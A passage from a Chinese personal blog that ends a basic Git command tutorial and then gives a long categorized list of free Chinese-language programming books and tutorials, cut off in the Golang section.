<p>使用 <code>git status</code> 可以查看当前目录状态:</p>
<pre><code class="language-git">On branch master
Initial commit
Changes to be committed:
(use "git rm --cached <file>..." to unstage)
new file: READDME.md
new file: src/a.py
</code></pre>
<h3 id="3-代码提交">3. 代码提交</h3>
<pre><code class="language-git"># 查看代码变更
git commit -v
# 提交到本地
git commit -m 'add readme'
</code></pre>
<h3 id="4-分支管理">4. 分支管理</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 显示所有分支
</span><span class="n">git</span> <span class="n">branch</span>
<span class="c1"># 创建分支
</span><span class="n">git</span> <span class="n">branch</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
<span class="c1"># 删除分支
</span><span class="n">git</span> <span class="n">branch</span> <span class="o">-</span><span class="n">d</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
<span class="c1"># 切换成分支
</span><span class="n">git</span> <span class="n">checkout</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
<span class="c1"># 将别的分支合并到当前分支
</span><span class="n">git</span> <span class="n">merge</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
</code></pre></div></div>
<h3 id="5-查看状态">5. 查看状态</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 当前目录状态
</span><span class="n">git</span> <span class="n">status</span>
<span class="c1"># 提交记录查看
</span><span class="n">git</span> <span class="n">log</span>
<span class="c1"># 查看提交记录, 显示变更内容
</span><span class="n">git</span> <span class="n">log</span> <span class="o">-</span><span class="n">p</span>
<span class="c1"># 查看指定文件的提交记录与变更
</span><span class="n">git</span> <span class="n">log</span> <span class="o">-</span><span class="n">p</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
<span class="c1"># 查看指定文件的修改人/修改时间
</span><span class="n">git</span> <span class="n">blame</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
</code></pre></div></div>
<h3 id="6-撤销与回滚">6. 撤销与回滚</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 修改了文件, 还没进行 add, 进行回滚
</span><span class="n">git</span> <span class="n">checkout</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
<span class="c1"># 修改了文件, 已经 add, 但是未 commit
</span><span class="n">git</span> <span class="n">reset</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
<span class="n">git</span> <span class="n">checkout</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
<span class="c1"># 回退到某个分支
</span><span class="n">git</span> <span class="n">log</span> <span class="o">--></span> <span class="n">查看分支</span><span class="p">,</span> <span class="n">复制</span> <span class="n">commid_id</span>
<span class="n">git</span> <span class="n">rest</span> <span class="o"><</span><span class="n">commit_id</span><span class="o">></span>
<span class="n">git</span> <span class="n">checkout</span> <span class="p">.</span>
</code></pre></div></div>
<h1 id="git-常用操作">Git 常用操作</h1>
<p>通常我们会从 clone 一个已有的仓库进行开发, 具体操作如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. clone 仓库
</span><span class="n">git</span> <span class="n">clone</span> <span class="o"><</span><span class="n">repo_url</span><span class="o">></span>
<span class="c1"># 2. 选择已存在的分支, 或者新建一个分支
</span><span class="n">git</span> <span class="n">checkout</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
<span class="n">git</span> <span class="n">branch</span> <span class="o"><</span><span class="n">new_branch_name</span><span class="o">></span>
<span class="c1"># 3. 修改文件后, 添加到本地仓库
</span><span class="n">git</span> <span class="n">pull</span>
<span class="n">git</span> <span class="n">add</span> <span class="o"><</span><span class="n">file_name</span><span class="o">></span>
<span class="c1"># 4. commit 到本地
</span><span class="n">git</span> <span class="n">commit</span> <span class="o">-</span><span class="n">m</span> <span class="s">'message'</span>
<span class="c1"># 5. 上传到仓库
</span><span class="n">git</span> <span class="n">push</span>
<span class="c1"># 6. 将分支合并到主干
</span><span class="n">git</span> <span class="n">checkout</span> <span class="n">master</span>
<span class="n">git</span> <span class="n">merge</span> <span class="o"><</span><span class="n">branch_name</span><span class="o">></span>
</code></pre></div></div>
<p>如果将工程搞乱套了, 需要回退到某次 commit, 尽量新增一条 commit 来回退, 而不是删除中间的提交记录.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. 查看分支
</span><span class="n">git</span> <span class="n">log</span>
<span class="c1"># 2. 本地回退
</span><span class="n">git</span> <span class="n">revert</span> <span class="o"><</span><span class="n">commit_id</span><span class="o">></span>
<span class="c1"># 3. 查看状态
</span><span class="n">git</span> <span class="n">status</span>
<span class="c1"># 4. 将变更提交
</span><span class="n">git</span> <span class="n">add</span> <span class="p">.</span>
<span class="n">git</span> <span class="n">commit</span> <span class="o">-</span><span class="n">m</span> <span class="s">'revert version to xx'</span>
<span class="n">git</span> <span class="n">push</span>
</code></pre></div></div>
<h1 id="end">END</h1>
免费的中文编程书
2017-06-08T00:00:00+00:00
http://fish267.github.io/2017/06/08/free-books
<p>添加一个 <code>iframe</code>, 内容是 <a href="https://github.com/EbookFoundation/free-programming-books">Github free-programming-books</a>, 优先保存一下中文书籍.</p>
<!--more-->
<h2 id="目录">目录</h2>
<ul>
<li><a href="#语言无关">语言无关</a>
<ul>
<li><a href="#ide">IDE</a></li>
<li><a href="#mysql">MySQL</a></li>
<li><a href="#nosql">NoSQL</a></li>
<li><a href="#postgresql">PostgreSQL</a></li>
<li><a href="#web">Web</a></li>
<li><a href="#web服务器">WEB服务器</a></li>
<li><a href="#其它">其它</a></li>
<li><a href="#函数式概念">函数式概念</a></li>
<li><a href="#分布式系统">分布式系统</a></li>
<li><a href="#在线教育">在线教育</a></li>
<li><a href="#大数据">大数据</a></li>
<li><a href="#操作系统">操作系统</a></li>
<li><a href="#数据库">数据库</a></li>
<li><a href="#智能系统">智能系统</a></li>
<li><a href="#正则表达式">正则表达式</a></li>
<li><a href="#版本控制">版本控制</a></li>
<li><a href="#程序员杂谈">程序员杂谈</a></li>
<li><a href="#管理和监控">管理和监控</a></li>
<li><a href="#编程艺术">编程艺术</a></li>
<li><a href="#编译原理">编译原理</a></li>
<li><a href="#编辑器">编辑器</a></li>
<li><a href="#计算机图形学">计算机图形学</a></li>
<li><a href="#设计模式">设计模式</a></li>
<li><a href="#软件开发方法">软件开发方法</a></li>
<li><a href="#项目相关">项目相关</a></li>
</ul>
</li>
<li><a href="#语言相关">语言相关</a>
<ul>
<li><a href="#android">Android</a></li>
<li><a href="#awk">AWK</a></li>
<li><a href="#c">C</a></li>
<li><a href="#c-sharp">C#</a></li>
<li><a href="#c-1">C++</a></li>
<li><a href="#coffeescript">CoffeeScript</a></li>
<li><a href="#dart">Dart</a></li>
<li><a href="#elasticsearch">Elasticsearch</a></li>
<li><a href="#elixir">Elixir</a></li>
<li><a href="#erlang">Erlang</a></li>
<li><a href="#fortran">Fortran</a></li>
<li><a href="#golang">Golang</a></li>
<li><a href="#haskell">Haskell</a></li>
<li><a href="#html--css">HTML / CSS</a></li>
<li><a href="#http">HTTP</a></li>
<li><a href="#ios">iOS</a></li>
<li><a href="#java">Java</a></li>
<li><a href="#javascript">JavaScript</a></li>
<li><a href="#latex">LaTeX</a></li>
<li><a href="#lisp">LISP</a></li>
<li><a href="#lua">Lua</a></li>
<li><a href="#markdown">Markdown</a></li>
<li><a href="#nodejs">Node.js</a></li>
<li><a href="#perl">Perl</a></li>
<li><a href="#php">PHP</a></li>
<li><a href="#python">Python</a></li>
<li><a href="#r">R</a></li>
<li><a href="#restructuredtext">reStructuredText</a></li>
<li><a href="#ruby">Ruby</a></li>
<li><a href="#rust">Rust</a></li>
<li><a href="#scala">Scala</a></li>
<li><a href="#scheme">Scheme</a></li>
<li><a href="#shell">Shell</a></li>
<li><a href="#swift">Swift</a></li>
<li><a href="#vim">Vim</a></li>
<li><a href="#visual-prolog">Visual Prolog</a></li>
</ul>
</li>
</ul>
<h2 id="语言无关">语言无关</h2>
<h3 id="ide">IDE</h3>
<ul>
<li><a href="https://github.com/judasn/IntelliJ-IDEA-Tutorial">IntelliJ IDEA 简体中文专题教程</a></li>
</ul>
<h3 id="mysql">MySQL</h3>
<ul>
<li><a href="http://www.cnblogs.com/mr-wid/archive/2013/05/09/3068229.html">21分钟MySQL入门教程</a></li>
<li><a href="http://blog.codinglabs.org/articles/theory-of-mysql-index.html">MySQL索引背后的数据结构及算法原理</a></li>
</ul>
<h3 id="nosql">NoSQL</h3>
<ul>
<li><a href="http://disque.huangz.me">Disque 使用教程</a></li>
<li><a href="http://neo4j.tw">Neo4j .rb 中文資源</a></li>
<li><a href="http://redisdoc.com">Redis 命令参考</a></li>
<li><a href="http://redisbook.com">Redis 设计与实现</a></li>
<li><a href="https://github.com/justinyhuang/the-little-mongodb-book-cn/blob/master/mongodb.md">The Little MongoDB Book</a></li>
<li><a href="https://github.com/JasonLai256/the-little-redis-book/blob/master/cn/redis.md">The Little Redis Book</a></li>
<li><a href="https://github.com/huangz1990/annotated_redis_source">带有详细注释的 Redis 2.6 代码</a></li>
<li><a href="https://github.com/huangz1990/redis-3.0-annotated">带有详细注释的 Redis 3.0 代码</a></li>
</ul>
<h3 id="postgresql">PostgreSQL</h3>
<ul>
<li><a href="http://works.jinbuguo.com/postgresql/menu823/index.html">PostgreSQL 8.2.3 中文文档</a></li>
<li><a href="http://www.postgres.cn/docs/9.3/index.html">PostgreSQL 9.3.1 中文文档</a></li>
<li><a href="http://www.postgres.cn/docs/9.4/index.html">PostgreSQL 9.4.4 中文文档</a></li>
<li><a href="http://www.postgres.cn/docs/9.5/index.html">PostgreSQL 9.5.3 中文文档</a></li>
<li><a href="http://www.postgres.cn/docs/9.6/index.html">PostgreSQL 9.6.0 中文文档</a></li>
</ul>
<h3 id="web">Web</h3>
<ul>
<li><a href="https://www.gitbook.com/book/juntao/3-web-designs-in-3-weeks/details">3 Web Designs in 3 Weeks</a></li>
<li><a href="https://github.com/CN-Chrome-DevTools/CN-Chrome-DevTools">Chrome 开发者工具中文手册</a></li>
<li><a href="http://open.chrome.360.cn/extension_dev/overview.html">Chrome扩展开发文档</a></li>
<li><a href="https://github.com/phodal/growth-ebook">Growth: 全栈增长工程师指南</a></li>
<li><a href="http://www.gruntjs.net">Grunt中文文档</a></li>
<li><a href="https://github.com/nimojs/gulp-book">Gulp 入门指南</a></li>
<li><a href="http://www.gulpjs.com.cn/docs/">gulp中文文档</a></li>
<li><a href="https://github.com/bolasblack/http-api-guide">HTTP 接口设计指北</a></li>
<li><a href="http://yuedu.baidu.com/ebook/478d1a62376baf1ffc4fad99?pn=1">HTTP/2.0 中文翻译</a></li>
<li><a href="https://www.gitbook.com/book/ye11ow/http2-explained/details">http2讲解</a></li>
<li><a href="https://github.com/darcyliu/google-styleguide/blob/master/JSONStyleGuide.md">JSON风格指南</a></li>
<li><a href="http://man.lupaworld.com/content/network/wireshark/index.html">Wireshark用户手册</a></li>
<li><a href="https://community.emc.com/thread/194901">一站式学习Wireshark</a></li>
<li><a href="http://www.20thingsilearned.com/zh-CN/home">关于浏览器和网络的 20 项须知</a></li>
<li><a href="http://coderlmn.github.io/code-standards/">前端代码规范 及 最佳实践</a></li>
<li><a href="https://github.com/fouber/blog/issues/2">前端开发体系建设日记</a></li>
<li><a href="https://github.com/hacke2/hacke2.github.io/issues/1">前端资源分享(一)</a></li>
<li><a href="https://github.com/hacke2/hacke2.github.io/issues/3">前端资源分享(二)</a></li>
<li><a href="http://deerchao.net/tutorials/regex/regex.htm">正则表达式30分钟入门教程</a></li>
<li><a href="http://jinlong.github.io/2013/08/29/devtoolsecrets/">浏览器开发工具的秘密</a></li>
<li><a href="https://github.com/AlloyTeam/Mars">移动Web前端知识库</a></li>
<li><a href="https://github.com/hoosin/mobile-web-favorites">移动前端开发收藏夹</a></li>
</ul>
<h3 id="web服务器">WEB服务器</h3>
<ul>
<li><a href="http://works.jinbuguo.com/apache/menu22/index.html">Apache 中文手册</a></li>
<li><a href="http://tengine.taobao.org/book/index.html">Nginx开发从入门到精通</a> (淘宝团队出品)</li>
<li><a href="http://www.ttlsa.com/nginx/nginx-stu-pdf/">Nginx教程从入门到精通</a> (PDF版本,运维生存时间出品)</li>
</ul>
<h3 id="其它">其它</h3>
<ul>
<li><a href="https://softwaredownload.gitbooks.io/openwrt-fanqiang/content/">OpenWrt智能、自动、透明翻墙路由器教程</a></li>
<li><a href="https://community.emc.com/docs/DOC-16067">SAN 管理入门系列</a></li>
<li><a href="http://sketchcn.com/sketch-chinese-user-manual.html#introduce">Sketch 中文手册</a></li>
<li><a href="http://ifeve.com/perfbook/">深入理解并行编程</a></li>
</ul>
<h3 id="函数式概念">函数式概念</h3>
<ul>
<li><a href="https://github.com/justinyhuang/Functional-Programming-For-The-Rest-of-Us-Cn">傻瓜函数编程</a></li>
</ul>
<h3 id="分布式系统">分布式系统</h3>
<ul>
<li><a href="http://dcaoyuan.github.io/papers/pdfs/Scalability.pdf">走向分布式</a> (PDF)</li>
</ul>
<h3 id="在线教育">在线教育</h3>
<ul>
<li><a href="http://edu.51cto.com">51CTO学院</a></li>
<li><a href="https://www.codecademy.com/?locale_code=zh">Codecademy</a></li>
<li><a href="https://www.codeschool.com">CodeSchool</a></li>
<li><a href="https://www.coursera.org/courses?orderby=upcoming&lngs=zh">Coursera</a></li>
<li><a href="https://learnxinyminutes.com">Learn X in Y minutes</a> (数十种语言快速入门教程)</li>
<li><a href="https://www.shiyanlou.com">shiyanlou</a></li>
<li><a href="https://teamtreehouse.com">TeamTreeHouse</a></li>
<li><a href="https://www.udacity.com">Udacity</a></li>
<li><a href="https://www.xuetangx.com">xuetangX</a></li>
<li><a href="http://www.imooc.com/course/list">慕课网</a> (丰富的移动端开发、php开发、web前端、html5教程以及css3视频教程等课程资源)</li>
<li><a href="http://www.jikexueyuan.com">极客学院</a></li>
<li><a href="http://www.hubwiz.com">汇智网</a></li>
<li><a href="http://www.jisuanke.com">计蒜客</a></li>
</ul>
<h3 id="大数据">大数据</h3>
<ul>
<li><a href="https://aiyanbo.gitbooks.io/spark-programming-guide-zh-cn/content/">Spark 编程指南简体中文版</a></li>
<li><a href="https://code.csdn.net/CODE_Translation/spark_matei_phd">大型集群上的快速和通用数据处理架构</a></li>
<li><a href="https://github.com/Flowerowl/Big-Data-Resources">大数据/数据挖掘/推荐系统/机器学习相关资源</a></li>
<li><a href="https://github.com/linyiqun/DataMiningAlgorithm">数据挖掘中经典的算法实现和详细的注释</a></li>
<li><a href="http://dataminingguide.books.yourtion.com">面向程序员的数据挖掘指南</a></li>
</ul>
<h3 id="操作系统">操作系统</h3>
<ul>
<li><a href="http://man.chinaunix.net/linux/debian/reference/reference.zh-cn.html">Debian 参考手册 </a></li>
<li><a href="https://github.com/yeasy/docker_practice">Docker —— 从入门到实践</a></li>
<li><a href="https://github.com/widuu/chinese_docker">Docker中文指南</a></li>
<li><a href="http://yuedu.baidu.com/ebook/d817967416fc700abb68fca1">Docker入门实战</a></li>
<li><a href="http://www.freebsd.org/doc/zh_CN.UTF-8/books/handbook/">FreeBSD 使用手册</a></li>
<li><a href="http://freeradius.akagi201.org">FreeRADIUS新手入门</a></li>
<li><a href="https://tinylab.gitbooks.io/linux-doc/content/zh-cn/">Linux Documentation (中文版)</a></li>
<li><a href="http://happypeter.github.io/LGCB/book/">Linux Guide for Complete Beginners</a></li>
<li><a href="http://works.jinbuguo.com/lfs/lfs62/index.html">Linux 构建指南</a></li>
<li><a href="http://sourceforge.net/projects/elpi/">Linux 系统高级编程</a></li>
<li><a href="https://github.com/me115/linuxtools_rst">Linux工具快速教程</a></li>
<li><a href="https://aaaaaashu.gitbooks.io/mac-dev-setup/content/">Mac 开发配置手册</a></li>
<li><a href="http://pages.cs.wisc.edu/~remzi/OSTEP/">Operating Systems: Three Easy Pieces</a></li>
<li><a href="http://billie66.github.io/TLCL/index.html">The Linux Command Line</a> (中英文版)</li>
<li><a href="http://wiki.ubuntu.org.cn/UbuntuManual">Ubuntu 参考手册 </a></li>
<li><a href="https://www.gitbook.com/book/objectkuan/ucore-docs/details">uCore Lab: Operating System Course in Tsinghua University</a></li>
<li><a href="http://cb.vu/unixtoolbox_zh_CN.xhtml">UNIX TOOLBOX</a></li>
<li><a href="https://github.com/jlevy/the-art-of-command-line/blob/master/README-zh.md">命令行的艺术</a></li>
<li><a href="https://tinylab.gitbooks.io/elinux/content/zh/">嵌入式 Linux 知识库 (eLinux.org 中文版)</a></li>
<li><a href="http://i.linuxtoy.org/docs/guide/index.html">开源世界旅行手册</a></li>
<li><a href="https://github.com/tobegit3hub/understand_linux_process">理解Linux进程</a></li>
<li><a href="http://cn.linux.vbird.org/linux_basic/linux_basic.php">鸟哥的 Linux 私房菜 基础学习篇</a></li>
<li><a href="http://cn.linux.vbird.org/linux_server/">鸟哥的 Linux 私房菜 服务器架设篇</a></li>
</ul>
<h3 id="数据库">数据库</h3>
<ul>
<li><a href="http://redisbook.com">Redis 设计与实现</a></li>
<li><a href="https://github.com/justinyhuang/the-little-mongodb-book-cn">The Little MongoDB Book 中文版</a></li>
</ul>
<h3 id="智能系统">智能系统</h3>
<ul>
<li><a href="https://github.com/phodal/designiot">一步步搭建物联网系统</a></li>
</ul>
<h3 id="正则表达式">正则表达式</h3>
<ul>
<li><a href="http://deerchao.net/tutorials/regex/regex.htm">正则表达式30分钟入门教程</a></li>
</ul>
<h3 id="版本控制">版本控制</h3>
<ul>
<li><a href="http://rogerdudler.github.io/git-guide/index.zh.html">Git - 简易指南</a></li>
<li><a href="https://github.com/flyhigher139/Git-Cheat-Sheet">Git-Cheat-Sheet</a> (感谢 @flyhigher139 翻译了中文版)</li>
<li><a href="http://gitbook.liuhui998.com">Git Community Book 中文版</a></li>
<li><a href="http://danielkummer.github.io/git-flow-cheatsheet/index.zh_CN.html">git-flow 备忘清单</a></li>
<li><a href="http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn/">Git magic</a></li>
<li><a href="http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn/">Git Magic</a></li>
<li><a href="http://gitref.justjavac.com">Git 参考手册</a></li>
<li><a href="https://github.com/waylau/github-help">Github帮助文档</a></li>
<li><a href="https://snowdream86.gitbooks.io/github-cheat-sheet/content/zh/">GitHub秘籍</a></li>
<li><a href="http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000">Git教程</a> (本文由 <a href="http://weibo.com/liaoxuefeng">@廖雪峰</a> 创作,如果觉得本教程对您有帮助,可以去 <a href="https://itunes.apple.com/cn/app/git-jiao-cheng/id876420437">iTunes</a> 购买)</li>
<li><a href="https://github.com/gotgit/gotgithub">Got GitHub</a></li>
<li><a href="http://www.worldhello.net/gotgithub/index.html">GotGitHub</a></li>
<li><a href="https://zh-hginit.readthedocs.io/en/latest/">HgInit (中文版)</a></li>
<li><a href="https://www.mercurial-scm.org/wiki/ChineseTutorial">Mercurial 使用教程</a></li>
<li><a href="https://git-scm.com/book/zh/v2">Pro Git</a></li>
<li><a href="https://www.gitbook.com/book/0532/progit/details">Pro Git 中文版</a> (整理在gitbook上)</li>
<li><a href="http://svnbook.red-bean.com/nightly/zh/index.html">svn 手册</a></li>
<li><a href="http://pcottle.github.io/learnGitBranching/">学习 Git 分支</a> (点击右下角按钮可切换至简体及正体中文)</li>
<li><a href="http://igit.linuxtoy.org/index.html">沉浸式学 Git</a></li>
<li><a href="http://backlogtool.com/git-guide/cn/">猴子都能懂的GIT入门</a></li>
</ul>
<h3 id="程序员杂谈">程序员杂谈</h3>
<ul>
<li><a href="http://www.kancloud.cn/kancloud/a-programmer-prepares">程序员的自我修养</a></li>
</ul>
<h3 id="管理和监控">管理和监控</h3>
<ul>
<li><a href="https://www.gitbook.com/book/fuxiaopang/learnelasticsearch/details">ElasticSearch 权威指南</a></li>
<li><a href="http://es.xiaoleilu.com">Elasticsearch 权威指南(中文版)</a></li>
<li><a href="http://kibana.logstash.es">ELKstack 中文指南</a></li>
<li><a href="https://github.com/chenryn/logstash-best-practice-cn">Logstash 最佳实践</a></li>
<li><a href="http://udn.yyuap.com/doc/mastering-elasticsearch/">Mastering Elasticsearch(中文版)</a></li>
<li><a href="https://www.gitbook.com/book/wizardforcel/puppet-27-cookbook/details">Puppet 2.7 Cookbook 中文版</a></li>
</ul>
<h3 id="编程艺术">编程艺术</h3>
<ul>
<li><a href="http://read.douban.com/ebook/4972883/">取悦的工序:如何理解游戏</a> (豆瓣阅读,免费书籍)</li>
<li><a href="http://www.oschina.net/translate/what-every-programmer-should-know-about-memory-part1?print">每个程序员都应该了解的内存知识(译)</a>【第一部分】</li>
<li><a href="https://github.com/julycoding/The-Art-Of-Programming-by-July">程序员编程艺术</a></li>
<li><a href="http://www.kancloud.cn/kancloud/intro-to-prog/52592">编程入门指南</a></li>
</ul>
<h3 id="编译原理">编译原理</h3>
<ul>
<li><a href="https://github.com/DeathKing/Learning-SICP">《计算机程序的结构和解释》公开课 翻译项目</a></li>
</ul>
<h3 id="编辑器">编辑器</h3>
<ul>
<li><a href="http://exvim.github.io/docs-zh/intro/">exvim–vim 改良成IDE项目</a></li>
<li><a href="https://github.com/vimcn/vimcdoc">Vim中文文档</a></li>
<li><a href="https://github.com/yangyangwithgnu/use_vim_as_ide">所需即所获:像 IDE 一样使用 vim</a></li>
<li><a href="http://learnvimscriptthehardway.onefloweroneworld.com">笨方法学Vimscript 中译本</a></li>
</ul>
<h3 id="计算机图形学">计算机图形学</h3>
<ul>
<li><a href="https://learnopengl-cn.github.io">LearnOpenGL CN</a></li>
<li><a href="https://github.com/zilongshanren/opengl-tutorials">OpenGL 教程</a></li>
</ul>
<h3 id="设计模式">设计模式</h3>
<ul>
<li><a href="http://blog.csdn.net/lovelion/article/details/17517213">史上最全设计模式导学目录</a></li>
<li><a href="https://github.com/me115/design_patterns">图说设计模式</a></li>
</ul>
<h3 id="软件开发方法">软件开发方法</h3>
<ul>
<li><a href="https://github.com/justinyhuang/Functional-Programming-For-The-Rest-of-Us-Cn">傻瓜函数编程</a> (《Functional Programming For The Rest of Us》中文版)</li>
<li><a href="http://www.infoq.com/cn/minibooks/scrum-xp-from-the-trenches">硝烟中的 Scrum 和 XP</a></li>
</ul>
<h3 id="项目相关">项目相关</h3>
<ul>
<li><a href="http://docs.huihoo.com/gnu/linux/gmake.html">GNU make 指南</a></li>
<li><a href="https://github.com/waylau/Gradle-2-User-Guide">Gradle 2 用户指南</a></li>
<li><a href="http://yuedu.baidu.com/ebook/f23af265998fcc22bcd10da2">Gradle 中文使用文档</a></li>
<li><a href="http://local.joelonsoftware.com/wiki/Chinese_(Simplified)">Joel谈软件</a></li>
<li><a href="https://github.com/fool2fish/selenium-doc">selenium 中文文档</a></li>
<li><a href="http://www.ituring.com.cn/book/1143">开源软件架构</a></li>
<li><a href="http://article.yeeyan.org/view/2251/94882">持续集成(第二版)</a> (译言网)</li>
<li><a href="http://local.joelonsoftware.com/wiki/%E9%A6%96%E9%A0%81">約耳談軟體(Joel on Software)</a></li>
<li><a href="https://github.com/ecomfe/spec">编码规范</a></li>
<li><a href="http://www.ibm.com/developerworks/cn/java/j-ap/">让开发自动化系列专栏</a></li>
<li><a href="http://www.ibm.com/developerworks/cn/java/j-cq/">追求代码质量</a></li>
</ul>
<h2 id="语言相关">语言相关</h2>
<h3 id="android">Android</h3>
<ul>
<li><a href="http://www.apkbus.com/design/index.html">Android Design(中文版)</a></li>
<li><a href="https://github.com/CharonChui/AndroidNote">Android Note(开发过程中积累的知识点)</a></li>
<li><a href="http://leanote.com/blog/post/561658f938f41126b2000298">Android6.0新特性详解</a></li>
<li><a href="http://stormzhang.github.io/android/2014/07/07/learn-android-from-rookie/">Android学习之路</a></li>
<li><a href="https://github.com/bboyfeiyu/android-tech-frontier">Android开发技术前线(android-tech-frontier)</a></li>
<li><a href="http://hukai.me/android-training-course-in-chinese/index.html">Google Android官方培训课程中文版</a></li>
<li>Google Material Design 正體中文版 (<a href="https://wcc723.gitbooks.io/google_design_translate/content/style-icons.html">译本一</a> <a href="https://github.com/1sters/material_design_zh">译本二</a>)</li>
<li><a href="http://wiki.jikexueyuan.com/project/material-design/">Material Design 中文版</a></li>
<li><a href="https://github.com/FX-Max/Point-of-Android">Point-of-Android</a> Android 一些重要知识点解析整理</li>
</ul>
<h3 id="awk">AWK</h3>
<ul>
<li><a href="http://awk.readthedocs.org/en/latest/index.html">awk中文指南</a></li>
<li><a href="https://github.com/wuzhouhui/awk">awk程序设计语言</a></li>
</ul>
<h3 id="c">C</h3>
<ul>
<li><a href="http://c-faq-chn.sourceforge.net/ccfaq/ccfaq.html">C 语言常见问题集</a></li>
<li><a href="http://doc.lellansin.com">C/C++ 学习教程</a></li>
<li><a href="http://docs.linuxtone.org/ebooks/C&CPP/c/">Linux C 编程一站式学习</a></li>
<li><a href="https://github.com/limingth/NCCL">新概念 C 语言教程</a></li>
</ul>
<h3 id="c-sharp">C Sharp</h3>
<ul>
<li><a href="http://book.douban.com/subject/24827879/">精通C#(第6版) </a></li>
</ul>
<h3 id="c-1">C++</h3>
<ul>
<li><a href="https://github.com/hellogcc/100-gcc-tips/blob/master/src/index.md">100个gcc小技巧</a></li>
<li><a href="https://github.com/hellogcc/100-gdb-tips/blob/master/src/index.md">100个gdb小技巧</a></li>
<li><a href="https://tinylab.gitbooks.io/cbook/content/">C 语言编程透视</a></li>
<li><a href="https://github.com/andycai/cprimer">C/C++ Primer</a> - @andycai</li>
<li><a href="http://www.sunistudio.com/cppfaq/">C++ FAQ LITE(中文版)</a></li>
<li><a href="https://github.com/Mooophy/Cpp-Primer">C++ Primer 5th Answers</a></li>
<li><a href="https://github.com/wuye9036/CppTemplateTutorial">C++ Template 进阶指南</a></li>
<li><a href="http://www.prglab.com/cms/">C++ 基础教程</a></li>
<li><a href="https://chenxiaowei.gitbooks.io/cpp_concurrency_in_action/content/">C++ 并发编程(基于C++11)</a></li>
<li><a href="https://github.com/forhappy/Cplusplus-Concurrency-In-Practice">C++ 并发编程指南</a></li>
<li><a href="https://github.com/leeyiw/cgdb-manual-in-chinese">CGDB中文手册</a></li>
<li><a href="http://sewm.pku.edu.cn/src/paradise/reference/CMake%20Practice.pdf">Cmake 实践</a> (PDF)</li>
<li><a href="http://docs.huihoo.com/gnu/linux/gmake.html">GNU make 指南</a></li>
<li><a href="http://zh-google-styleguide.readthedocs.org/en/latest/google-cpp-styleguide/contents/">Google C++ 风格指南</a></li>
<li><a href="http://www.kuqin.com/qtdocument/tutorial.html">QT 教程</a></li>
<li><a href="https://github.com/anjuke/zguide-cn">ZMQ 指南</a></li>
<li><a href="http://www.ituring.com.cn/book/1203">像计算机科学家一样思考(C++版)</a> (《How To Think Like a Computer Scientist: C++ Version》中文版)</li>
<li><a href="http://www.nowamagic.net/librarys/books/contents/c">简单易懂的C魔法</a></li>
<li><a href="http://scc.qibebt.cas.cn/docs/linux/base/%B8%FA%CE%D2%D2%BB%C6%F0%D0%B4Makefile-%B3%C2%F0%A9.pdf">跟我一起写Makefile(PDF)</a> (PDF)</li>
</ul>
<h3 id="coffeescript">CoffeeScript</h3>
<ul>
<li><a href="http://coffee-script.org">CoffeeScript 中文</a></li>
<li><a href="https://github.com/elrrrrrrr/coffeescript-style-guide/blob/master/README-ZH.md">CoffeeScript 编程风格指南</a></li>
</ul>
<h3 id="dart">Dart</h3>
<ul>
<li><a href="http://dart.lidian.info/wiki/Language_Tour">Dart 语言导览</a></li>
</ul>
<h3 id="elasticsearch">Elasticsearch</h3>
<ul>
<li><a href="https://github.com/looly/elasticsearch-definitive-guide-cn">Elasticsearch 权威指南</a> (《Elasticsearch the definitive guide》中文版)</li>
<li><a href="http://kibana.logstash.es">ELKstack 中文指南</a></li>
<li><a href="http://udn.yyuap.com/doc/mastering-elasticsearch/">Mastering Elasticsearch(中文版)</a></li>
</ul>
<h3 id="elixir">Elixir</h3>
<ul>
<li><a href="https://github.com/Ljzn/ElixrGettingStartedChinese">Elixir Getting Started 中文翻译</a></li>
<li><a href="https://elixirschool.com/cn/">Elixir 编程语言教程</a> (Elixir School)</li>
<li><a href="https://github.com/Ljzn/MetaProgrammingInElixirChinese">Elixir元编程与DSL 中文翻译</a></li>
<li><a href="https://mydearxym.gitbooks.io/phoenix-doc-in-chinese/content/">Phoenix 框架中文文档</a></li>
</ul>
<h3 id="erlang">Erlang</h3>
<ul>
<li><a href="https://github.com/liancheng/cpie-cn">Erlang 并发编程</a> (《Concurrent Programming in Erlang (Part I)》中文版)</li>
</ul>
<h3 id="fortran">Fortran</h3>
<ul>
<li><a href="http://micro.ustc.edu.cn/Fortran/ZJDing/">Fortran77和90/95编程入门</a></li>
</ul>
<h3 id="golang">Golang</h3>
<ul>
<li><a href="https://github.com/astaxie/build-web-application-with-golang">Go Web 编程</a></li>
<li><a href="https://github.com/Unknwon/the-way-to-go_ZH_CN">Go 入门指南</a> (《The Way to Go》中文版)</li>
<li><a href="https://github.com/golang-china/golangdoc.translations">Go 官方文档翻译</a></li>
<li><a href="https://tour.go-zh.org/list">Go 指南</a> (《A Tour of Go》中文版)</li>
<li><a href="https://github.com/songleo/the-little-go-book_ZH_CN">Go 简易教程</a> (《 <a href="https://github.com/karlseguin/the-little-go-book">The Little Go Book</a> 》中文版)</li>
<li><a href="https://github.com/Unknwon/go-fundamental-programming">Go 编程基础</a></li>
<li><a href="https://github.com/polaris1119/The-Golang-Standard-Library-by-Example">Go 语言标准库</a></li>
<li><a href="https://github.com/hyper-carrot/go_command_tutorial">Go命令教程</a></li>
<li><a href="https://github.com/astaxie/Go-in-Action">Go实战开发</a></li>
